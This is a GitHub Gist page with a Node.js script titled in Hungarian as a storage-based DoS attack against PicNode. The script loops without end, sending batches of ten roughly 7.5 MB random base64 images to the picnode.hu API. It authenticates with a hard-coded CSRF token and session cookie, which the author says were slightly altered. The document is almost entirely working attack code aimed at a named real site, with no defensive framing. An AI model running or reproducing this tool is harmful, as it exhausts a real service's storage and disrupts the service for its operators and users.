Created
November 28, 2020 18:48
-
-
Save Raffy27/705abab75a50d3085553672dd3452acf to your computer and use it in GitHub Desktop.
Tárhely alapú DoS támadás a PicNode ellen x3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const axios = require('axios'), | |
crypto = require('crypto'); | |
const csrfToken = 'e4g6F63fa5VaTMse', | |
cookie = 'io=nL7nTpRWQwDOFrBgAAA7; connect.sid=s%3AVQ2S5vY5mA-XY8-iIfCc6_45oORr7HIy.npEMrdSxsnN0XksRUGVx2Nuycj4h2LdaBPtaoRUNq1U', | |
//Pár byte-ot módosítottam, azért nem adom oda a sütimet! Nyami | |
payload = 7.499943 * 1024 * 1024, | |
cluster = 10; | |
let data = { | |
request: 'pfp', | |
token: csrfToken | |
}; | |
const options = { | |
headers: { | |
'User-Agent': 'JunkNode', | |
Referer: 'https://picnode.hu/beallitasok/felhasznalo', | |
Cookie: cookie | |
} | |
} | |
let run = true, req = new Array(cluster); | |
let r = 0, i = 0, ec = 0; | |
process.on('SIGINT', () => { | |
console.log('\nFinishing up...'); | |
run = false; | |
}); | |
function progressBar(val, max, char = 20){ | |
let pr = val * 100 / max; | |
val = Math.round(val * char / max); | |
let pb = ''; | |
for(let j = 0; j < val; j++) pb += '█'; | |
for(let j = val; j < char; j++) pb += ' '; | |
process.stdout.write(`\r[${pb}] ${pr.toFixed(2)}%`); | |
} | |
async function main(){ | |
while(run){ | |
console.log(`Iteration #${i}`); | |
progressBar(0, 1); | |
for(let i = 0; i < cluster; i++){ | |
data.image = 'data:image/png;base64,' + crypto.randomBytes(payload).toString('base64'); | |
req[i] = axios.post('https://picnode.hu/api', data, options) | |
.then(() => { | |
r++; | |
progressBar(r, cluster); | |
}) | |
.catch(e => { | |
//run = false; | |
ec++; | |
//console.log('\nError = ' + e.message); | |
}); | |
} | |
await Promise.all(req); | |
r = 0; | |
i++; | |
console.log('\n'); | |
} | |
console.log('Attack stopped'); | |
console.log(`Transferred data = ~${Math.floor((i * cluster - ec) * payload / (1024 * 1024))}MB`); | |
console.log(`Payloads lost = ${ec} ~${Math.round(ec * payload / (1024 * 1024))}MB`) | |
} | |
main(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment